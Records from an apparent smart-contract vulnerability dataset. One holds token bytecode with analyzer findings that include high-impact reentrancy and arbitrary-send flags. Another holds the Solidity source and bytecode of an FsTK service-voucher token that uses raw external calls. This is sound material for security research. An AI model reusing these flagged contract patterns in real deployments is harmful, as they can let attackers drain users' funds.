90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561058a57600080fd5b505afa15801561059e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c291906117d2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561060a57600080fd5b505af115801561061e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064291906117d2565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610672816108ac565b6000806106876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106ea57600080fd5b505af11580156106fe573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072391906117ef565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561078d57600080fd5b505af11580156107a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c5919061181d565b50565b6009546001600160a01b031633146107df57600080fd5b6107eb6006600a6117a4565b6107f99063891737006117b3565b600a55565b6009546001600160a01b0316331461081557600080fd5b6000610820306108ac565b90506107c581610ebb565b6009546001600160a01b0316331461084257600080fd5b600c54600160a01b900460ff1661089b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610472565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037590611044565b6000546001600160a01b031633146109285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461098957600080fd5b6004811061099657600080fd5b600855565b6000610371338484610b36565b6009546001600160a01b031633146109bf57600080fd5b476107c5816110c1565b6000610a0b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110ff565b9392505050565b6001600160a01b038316610a745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610472565b6001600160a01b038216610ad55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610472565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610472565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610472565b60008111610c5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610472565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf669060240160206040518083038186803b158015610ca857600080fd5b505afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce0919061183f565b600c546001600160a01b038481169116148015610d0b5750600b546001600160a01b03858116911614155b610d16576000610d18565b815b1115610d2357600080fd5b6000546001600160a01b03848116911614801590610d4f57506000546001600160a01b03838116911614155b15610e7157600c546001600160a01b038481169116148015610d7f5750600b546001600160a01b03838116911614155b8015610da457506001600160a01b03821660009081526004602052604090205460ff16155b15610dfa57600a548110610dfa5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610472565b6000610e05306108ac565b600c54909150600160a81b900460ff16158015610e305750600c546001600160a01b03858116911614155b8015610e455750600c54600160b01b900460ff165b15610e6f57610e5381610ebb565b47670de0b6b3a7640000811115610e6d57610e6d476110c1565b505b505b610e7c83838361112d565b505050565b60008184841115610ea55760405162461bcd60e51b81526004016104729190611564565b506000610eb28486611858565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0357610f0361186f565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f5757600080fd5b505afa158015610f6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8f91906117d2565b81600181518110610fa257610fa261186f565b6001600160a01b039283166020918202929092010152600b54610fc89130911684610a12565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611001908590600090869030904290600401611885565b600060405180830381600087803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110ab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610472565b60006110b5611138565b9050610a0b83826109c9565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110fb573d6000803e3d6000fd5b5050565b600081836111205760405162461bcd60e51b81526004016104729190611564565b506000610eb284866118f6565b610e7c83838361115b565b6000806000611145611252565b909250905061115482826109c9565b9250505090565b60008060008060008061116d876112d4565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061119f9087611331565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111ce9086611373565b6001600160a01b0389166000908152600260205260409020556111f0816113d2565b6111fa848361141c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123f91815260200190565b60405180910390a3505050505050505050565b6005546000908190816112676006600a6117a4565b6112759063891737006117b3565b905061129d6112866006600a6117a4565b6112949063891737006117b3565b600554906109c9565b8210156112cb576005546112b36006600a6117a4565b6112c19063891737006117b3565b9350935050509091565b90939092509050565b60008060008060008060008060006112f18a600754600854611440565b9250925092506000611301611138565b905060008060006113148e878787611495565b919e509c509a509598509396509194505050505091939550919395565b6000610a0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e81565b6000806113808385611918565b905083811015610a0b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610472565b60006113dc611138565b905060006113ea83836114e5565b306000908152600260205260409020549091506114079082611373565b30600090815260026020526040902055505050565b6005546114299083611331565b6005556006546114399082611373565b6006555050565b600080808061145a606461145489896114e5565b906109c9565b9050600061146d60646114548a896114e5565b905060006114858261147f8b86611331565b90611331565b9992985090965090945050505050565b60008080806114a488866114e5565b905060006114b288876114e5565b905060006114c088886114e5565b905060006114d28261147f8686611331565b939b939a50919850919650505050505050565b6000826114f457506000610375565b600061150083856117b3565b90508261150d85836118f6565b14610a0b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610472565b600060208083528351808285015260005b8181101561159157858101830151858201604001528201611575565b818111156115a3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107c557600080fd5b600080604083850312156115e157600080fd5b82356115ec816115b9565b946020939093013593505050565b60008060006060848603121561160f57600080fd5b833561161a816115b9565b9250602084013561162a816115b9565b929592945050506040919091013590565b60006020828403121561164d57600080fd5b8135610a0b816115b9565b60006020828403121561166a57600080fd5b5035919050565b6000806040838503121561168457600080fd5b823561168f816115b9565b9150602083013561169f816115b9565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116fb5781600019048211156116e1576116e16116aa565b808516156116ee57918102915b93841c93908002906116c5565b509250929050565b60008261171257506001610375565b8161171f57506000610375565b8160018114611735576002811461173f5761175b565b6001915050610375565b60ff841115611750576117506116aa565b50506001821b610375565b5060208310610133831016604e8410600b841016171561177e575081810a610375565b61178883836116c0565b806000190482111561179c5761179c6116aa565b029392505050565b6000610a0b60ff841683611703565b60008160001904831182151516156117cd576117cd6116aa565b500290565b6000602082840312156117e457600080fd5b8151610a0b816115b9565b60008060006060848603121561180457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182f57600080fd5b81518015158114610a0b57600080fd5b60006020828403121561185157600080fd5b5051919050565b60008282101561186a5761186a6116aa565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118d55784516001600160a01b0316835293830193918301916001016118b0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261191357634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561192b5761192b6116aa565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc9e714b1c21f66f044d765fb2dffc32ba9480dc4f51e6f57351e1e3f414f54864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,565
0xF3C1fC6C9e01cFC8ee080Fe562b3aA9b8CCA6B49
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; library AddressExtension { function isValid(address _address) internal pure returns (bool) { return 0 != _address; } function isAccount(address _address) internal view returns (bool result) { assembly { result := iszero(extcodesize(_address)) } } function toBytes(address _address) internal pure returns (bytes b) { assembly { let m := mload(0x40) mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address)) mstore(0x40, add(m, 52)) b := m } } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { r /= d; } else { r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } } contract FsTKAuthority { function isAuthorized(address sender, address _contract, bytes data) public view returns (bool); function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool); function validate() public pure returns (bytes4); } contract Authorizable { event SetFsTKAuthority(FsTKAuthority indexed _address); modifier onlyFsTKAuthorized { require(fstkAuthority.isAuthorized(msg.sender, this, msg.data)); _; } modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) { require(fstkAuthority.isApproved(hash, approveTime, approveToken)); _; } FsTKAuthority internal fstkAuthority; constructor(FsTKAuthority _fstkAuthority) internal { fstkAuthority = _fstkAuthority; } function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized { require(_fstkAuthority.validate() == _fstkAuthority.validate.selector); emit SetFsTKAuthority(fstkAuthority = _fstkAuthority); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address owner) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } contract SecureERC20 is ERC20 { event SetERC20ApproveChecking(bool approveChecking); function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool); function increaseAllowance(address spender, uint256 value) public returns (bool); function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool); function setERC20ApproveChecking(bool approveChecking) public; } contract FsTKToken { event Consume(address indexed from, uint256 value, bytes32 challenge); event IncreaseNonce(address indexed from, uint256 nonce); event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info); event TerminateDirectDebit(address indexed debtor, address indexed receiver); event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver); event SetMetadata(string metadata); event SetLiquid(bool liquidity); event SetDelegate(bool isDelegateEnable); event SetDirectDebit(bool isDirectDebitEnable); struct DirectDebitInfo { uint256 amount; uint256 startTime; uint256 interval; } struct DirectDebit { DirectDebitInfo info; uint256 epoch; } struct Instrument { uint256 allowance; DirectDebit directDebit; } struct Account { uint256 balance; uint256 nonce; mapping (address => Instrument) instruments; } function spendableAllowance(address owner, address spender) public view returns (uint256); function transfer(uint256[] data) public returns (bool); function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool); function nonceOf(address owner) public view returns (uint256); function increaseNonce() public returns (bool); function delegateTransferAndCall( uint256 nonce, uint256 fee, address to, uint256 value, bytes data, address delegator, uint8 v, bytes32 r, bytes32 s ) public returns (bool); function directDebit(address debtor, address receiver) public view returns (DirectDebit); function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool); function terminateDirectDebit(address receiver) public returns (bool); function withdrawDirectDebit(address debtor) public returns (bool); function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool); } contract ERC20Like is SecureERC20, FsTKToken { using AddressExtension for address; using Math for uint256; modifier liquid { require(isLiquid); _; } modifier canUseDirectDebit { require(isDirectDebitEnable); _; } modifier canDelegate { require(isDelegateEnable); _; } modifier notThis(address _address) { require(_address != address(this)); _; } bool public erc20ApproveChecking; bool public isLiquid = true; bool public isDelegateEnable; bool public isDirectDebitEnable; string public metadata; mapping(address => Account) internal accounts; constructor(string _metadata) public { metadata = _metadata; } function balanceOf(address owner) public view returns (uint256) { return accounts[owner].balance; } function allowance(address owner, address spender) public view returns (uint256) { return accounts[owner].instruments[spender].allowance; } function transfer(address to, uint256 value) public liquid returns (bool) { Account storage senderAccount = accounts[msg.sender]; senderAccount.balance = senderAccount.balance.sub(value); accounts[to].balance += value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public liquid returns (bool) { Account storage fromAccount = accounts[from]; Instrument storage senderInstrument = fromAccount.instruments[msg.sender]; fromAccount.balance = fromAccount.balance.sub(value); senderInstrument.allowance = senderInstrument.allowance.sub(value); accounts[to].balance += value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; if (erc20ApproveChecking) { require((value == 0) || (spenderInstrument.allowance == 0)); } emit Approval( msg.sender, spender, spenderInstrument.allowance = value ); return true; } function setERC20ApproveChecking(bool approveChecking) public { emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking); } function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; require(spenderInstrument.allowance == expectedValue); emit Approval( msg.sender, spender, spenderInstrument.allowance = newValue ); return true; } function increaseAllowance(address spender, uint256 value) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; emit Approval( msg.sender, spender, spenderInstrument.allowance = spenderInstrument.allowance.add(value) ); return true; } function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) { Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; uint256 currentValue = spenderInstrument.allowance; uint256 newValue; if (strict) { newValue = currentValue.sub(value); } else if (value < currentValue) { newValue = currentValue - value; } emit Approval( msg.sender, spender, spenderInstrument.allowance = newValue ); return true; } function setMetadata0(string _metadata) internal { emit SetMetadata(metadata = _metadata); } function setLiquid0(bool liquidity) internal { emit SetLiquid(isLiquid = liquidity); } function setDelegate(bool delegate) public { emit SetDelegate(isDelegateEnable = delegate); } function setDirectDebit(bool directDebit) public { emit SetDirectDebit(isDirectDebitEnable = directDebit); } function spendableAllowance(address owner, address spender) public view returns (uint256) { Account storage ownerAccount = accounts[owner]; return Math.min( ownerAccount.instruments[spender].allowance, ownerAccount.balance ); } function transfer(uint256[] data) public liquid returns (bool) { Account storage senderAccount = accounts[msg.sender]; uint256 totalValue; for (uint256 i = 0; i < data.length; i++) { address receiver = address(data[i] >> 96); uint256 value = data[i] & 0xffffffffffffffffffffffff; totalValue = totalValue.add(value); accounts[receiver].balance += value; emit Transfer(msg.sender, receiver, value); } senderAccount.balance = senderAccount.balance.sub(totalValue); return true; } function transferAndCall( address to, uint256 value, bytes data ) public payable liquid notThis(to) returns (bool) { require( transfer(to, value) && data.length >= 68 ); assembly { mstore(add(data, 36), value) mstore(add(data, 68), caller) } require(to.call.value(msg.value)(data)); return true; } function nonceOf(address owner) public view returns (uint256) { return accounts[owner].nonce; } function increaseNonce() public returns (bool) { emit IncreaseNonce(msg.sender, accounts[msg.sender].nonce += 1); } function delegateTransferAndCall( uint256 nonce, uint256 fee, address to, uint256 value, bytes data, address delegator, uint8 v, bytes32 r, bytes32 s ) public liquid canDelegate notThis(to) returns (bool) { address signer = ecrecover( keccak256(abi.encodePacked(nonce, fee, to, value, data, delegator)), v, r, s ); Account storage signerAccount = accounts[signer]; require( nonce == signerAccount.nonce && (delegator == address(0) || delegator == msg.sender) ); emit IncreaseNonce(signer, signerAccount.nonce += 1); signerAccount.balance = signerAccount.balance.sub(value.add(fee)); accounts[to].balance += value; emit Transfer(signer, to, value); accounts[msg.sender].balance += fee; emit Transfer(signer, msg.sender, fee); if (!to.isAccount()) { require(data.length >= 68); assembly { mstore(add(data, 36), value) mstore(add(data, 68), signer) } require(to.call(data)); } return true; } function directDebit(address debtor, address receiver) public view returns (DirectDebit) { return accounts[debtor].instruments[receiver].directDebit; } function setupDirectDebit( address receiver, DirectDebitInfo info ) public returns (bool) { accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({ info: info, epoch: 0 }); emit SetupDirectDebit(msg.sender, receiver, info); return true; } function terminateDirectDebit(address receiver) public returns (bool) { delete accounts[msg.sender].instruments[receiver].directDebit; emit TerminateDirectDebit(msg.sender, receiver); return true; } function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) { Account storage debtorAccount = accounts[debtor]; DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); require(amount > 0); debtorAccount.balance = debtorAccount.balance.sub(amount); accounts[msg.sender].balance += amount; debit.epoch = epoch; emit Transfer(debtor, msg.sender, amount); return true; } function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) { Account storage receiverAccount = accounts[msg.sender]; result = true; uint256 total; for (uint256 i = 0; i < debtors.length; i++) { address debtor = debtors[i]; Account storage debtorAccount = accounts[debtor]; DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); require(amount > 0); uint256 debtorBalance = debtorAccount.balance; if (amount > debtorBalance) { if (strict) { revert(); } result = false; emit WithdrawDirectDebitFailure(debtor, msg.sender); } else { debtorAccount.balance = debtorBalance - amount; total += amount; debit.epoch = epoch; emit Transfer(debtor, msg.sender, amount); } } receiverAccount.balance += total; } } contract ServiceVoucher is Authorizable, ERC20Like { uint256 public totalSupply; string public name; string public symbol; uint8 public constant decimals = 0; bool public constant isConsumable = true; constructor( FsTKAuthority _fstkAuthority, string _name, string _symbol, string _metadata ) Authorizable(_fstkAuthority) ERC20Like(_metadata) public { name = _name; symbol = _symbol; } function mint(address to, uint256 value) public onlyFsTKAuthorized returns (bool) { totalSupply = totalSupply.add(value); accounts[to].balance += value; emit Transfer(address(0), to, value); return true; } function consume(address from, uint256 value) public onlyFsTKAuthorized returns (bool) { Account storage fromAccount = accounts[from]; fromAccount.balance = fromAccount.balance.sub(value); totalSupply -= value; emit Consume(from, value, bytes32(0)); emit Transfer(from, address(0), value); } function setMetadata(string infoUrl) public onlyFsTKAuthorized { setMetadata0(infoUrl); } function setLiquid(bool liquidity) public onlyFsTKAuthorized { setLiquid0(liquidity); } function setERC20ApproveChecking(bool approveChecking) public onlyFsTKAuthorized { super.setERC20ApproveChecking(approveChecking); } function setDelegate(bool delegate) public onlyFsTKAuthorized { super.setDelegate(delegate); } function setDirectDebit(bool directDebit) public onlyFsTKAuthorized { super.setDirectDebit(directDebit); } function transferToken(ERC20 erc20, address to, uint256 value) public onlyFsTKAuthorized { erc20.transfer(to, value); } }
0x6080604052600436106101d75763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101dc578063095ea7b3146102075780630ade71421461023457806318160ddd1461025457806319261e6f14610276578063218e687714610298578063224b5c72146102b857806323b872dd146102d857806324a73e5f146102f8578063313ce56714610318578063392f37e91461033a578063395093511461034f5780634000aea01461036f57806340086aa01461038257806340c10f19146103af57806340f828a2146103cf578063426a8493146103ef5780635551b6b61461040f5780635d272468146104245780635d71cf4614610439578063643f0e2a1461045957806370a0823114610479578063712c0c5a146104995780637bc0e005146104b9578063806333c4146104d957806386bc2338146104f957806395d89b411461050e5780639d44d93b14610523578063a196bea014610543578063a49a1e7d14610558578063a9059cbb14610578578063b39e1c6c14610598578063b5e36417146105b8578063c53a0292146105d8578063dd62ed3e146105ed578063ed2a2d641461060d578063ef765af81461062d578063f5537ede14610642575b600080fd5b3480156101e857600080fd5b506101f1610662565b6040516101fe9190613091565b60405180910390f35b34801561021357600080fd5b50610227610222366004612b43565b61070e565b6040516101fe9190613045565b34801561024057600080fd5b5061022761024f366004612a6e565b6107d8565b34801561026057600080fd5b5061026961085c565b6040516101fe91906130cf565b34801561028257600080fd5b50610296610291366004612cbf565b610862565b005b3480156102a457600080fd5b506102966102b3366004612cbf565b610925565b3480156102c457600080fd5b506102276102d3366004612b43565b6109e5565b3480156102e457600080fd5b506102276102f3366004612ac6565b610ba0565b34801561030457600080fd5b50610227610313366004612b73565b610ca2565b34801561032457600080fd5b5061032d610d63565b6040516101fe91906130eb565b34801561034657600080fd5b506101f1610d68565b34801561035b57600080fd5b5061022761036a366004612b43565b610de0565b61022761037d366004612bb6565b610e5b565b34801561038e57600080fd5b506103a261039d366004612a8c565b610f74565b6040516101fe91906130c1565b3480156103bb57600080fd5b506102276103ca366004612b43565b610fee565b3480156103db57600080fd5b506102966103ea366004612cbf565b611127565b3480156103fb57600080fd5b5061022761040a366004612c11565b6111e7565b34801561041b57600080fd5b50610227611286565b34801561043057600080fd5b506102276112a9565b34801561044557600080fd5b50610269610454366004612a8c565b6112cb565b34801561046557600080fd5b50610296610474366004612d3a565b611318565b34801561048557600080fd5b50610269610494366004612a6e565b611507565b3480156104a557600080fd5b506102276104b4366004612c43565b61152f565b3480156104c557600080fd5b506102966104d4366004612cbf565b611752565b3480156104e557600080fd5b506102276104f4366004612b13565b611812565b34801561050557600080fd5b506102276118b1565b34801561051a57600080fd5b506101f16118b6565b34801561052f57600080fd5b5061022761053e366004612d8d565b61192f565b34801561054f57600080fd5b50610227611ecb565b34801561056457600080fd5b50610296610573366004612d58565b611eef565b34801561058457600080fd5b50610227610593366004612b43565b611faf565b3480156105a457600080fd5b506102276105b3366004612a6e565b61205d565b3480156105c457600080fd5b506102276105d3366004612c8a565b6121b0565b3480156105e457600080fd5b506102276122e0565b3480156105f957600080fd5b50610269610608366004612a8c565b612339565b34801561061957600080fd5b50610269610628366004612a6e565b612372565b34801561063957600080fd5b5061022761239d565b34801561064e57600080fd5b5061029661065d366004612d19565b6123be565b6004805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156107065780601f106106db57610100808354040283529160200191610706565b820191906000526020600020905b8154815290600101906020018083116106e957829003601f168201915b505050505081565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8716855290920190528120815474010000000000000000000000000000000000000000900460ff16156107795782158061076e57508054155b151561077957600080fd5b82815560405173ffffffffffffffffffffffffffffffffffffffff85169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107c69087906130cf565b60405180910390a35060019392505050565b33600081815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8716808652908401909252808420600181018590559283018490556003830184905560049092018390559051919290917f7f321b39581bf86dddbaa9ddeec3e0740b71f116b22c14cf346cb71d91fd0832908490a3506001919050565b60035481565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916108be9133913091903690600401612ff2565b60206040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061090e9190810190612cdd565b151561091957600080fd5b61092281612521565b50565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916109819133913091903690600401612ff2565b60206040518083038186803b15801561099957600080fd5b505afa1580156109ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109d19190810190612cdd565b15156109dc57600080fd5b6109228161259f565b600080546040517f0a85bb25000000000000000000000000000000000000000000000000000000008152829173ffffffffffffffffffffffffffffffffffffffff1690630a85bb2590610a42903390309086903690600401612ff2565b60206040518083038186803b158015610a5a57600080fd5b505afa158015610a6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a929190810190612cdd565b1515610a9d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff831660009081526002602052604090208054610ad5908463ffffffff61261416565b815560038054849003905560405173ffffffffffffffffffffffffffffffffffffffff8516907f76525d7c2e7c33ceef9950b273ecf7894ffeda83ced64e3559350a59ca404b6990610b2b9086906000906130dd565b60405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b9191906130cf565b60405180910390a35092915050565b60008054819081907501000000000000000000000000000000000000000000900460ff161515610bcf57600080fd5b505073ffffffffffffffffffffffffffffffffffffffff841660009081526002602081815260408084203385529283019091529091208154610c17908563ffffffff61261416565b82558054610c2b908563ffffffff61261416565b815573ffffffffffffffffffffffffffffffffffffffff808616600081815260026020526040908190208054880190555190918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c8e9088906130cf565b60405180910390a350600195945050505050565b33600090815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff88168552909201905281208054828415610cf457610ced828763ffffffff61261416565b9050610d01565b81861015610d0157508481035b80835560405173ffffffffffffffffffffffffffffffffffffffff88169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d4e9085906130cf565b60405180910390a35060019695505050505050565b600081565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156107065780601f106106db57610100808354040283529160200191610706565b33600081815260026020818152604080842073ffffffffffffffffffffffffffffffffffffffff8816808652930190915282208054929390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610e4b908763ffffffff61262416565b8085556040516107c691906130cf565b600080547501000000000000000000000000000000000000000000900460ff161515610e8657600080fd5b8373ffffffffffffffffffffffffffffffffffffffff8116301415610eaa57600080fd5b610eb48585611faf565b8015610ec257506044835110155b1515610ecd57600080fd5b8360248401523360448401528473ffffffffffffffffffffffffffffffffffffffff16348460405180828051906020019080838360005b83811015610f1c578181015183820152602001610f04565b50505050905090810190601f168015610f495780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610f6957600080fd5b506001949350505050565b610f7c6127a3565b5073ffffffffffffffffffffffffffffffffffffffff80831660009081526002602081815260408084209486168452938201815291839020835160a081018552600182015494810194855291810154606083015260038101546080830152928152600490920154908201525b92915050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690630a85bb259061104b903390309086903690600401612ff2565b60206040518083038186803b15801561106357600080fd5b505afa158015611077573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061109b9190810190612cdd565b15156110a657600080fd5b6003546110b9908363ffffffff61262416565b60035573ffffffffffffffffffffffffffffffffffffffff8316600081815260026020526040808220805486019055517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111169086906130cf565b60405180910390a350600192915050565b600080546040517f0a85bb2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911691630a85bb25916111839133913091903690600401612ff2565b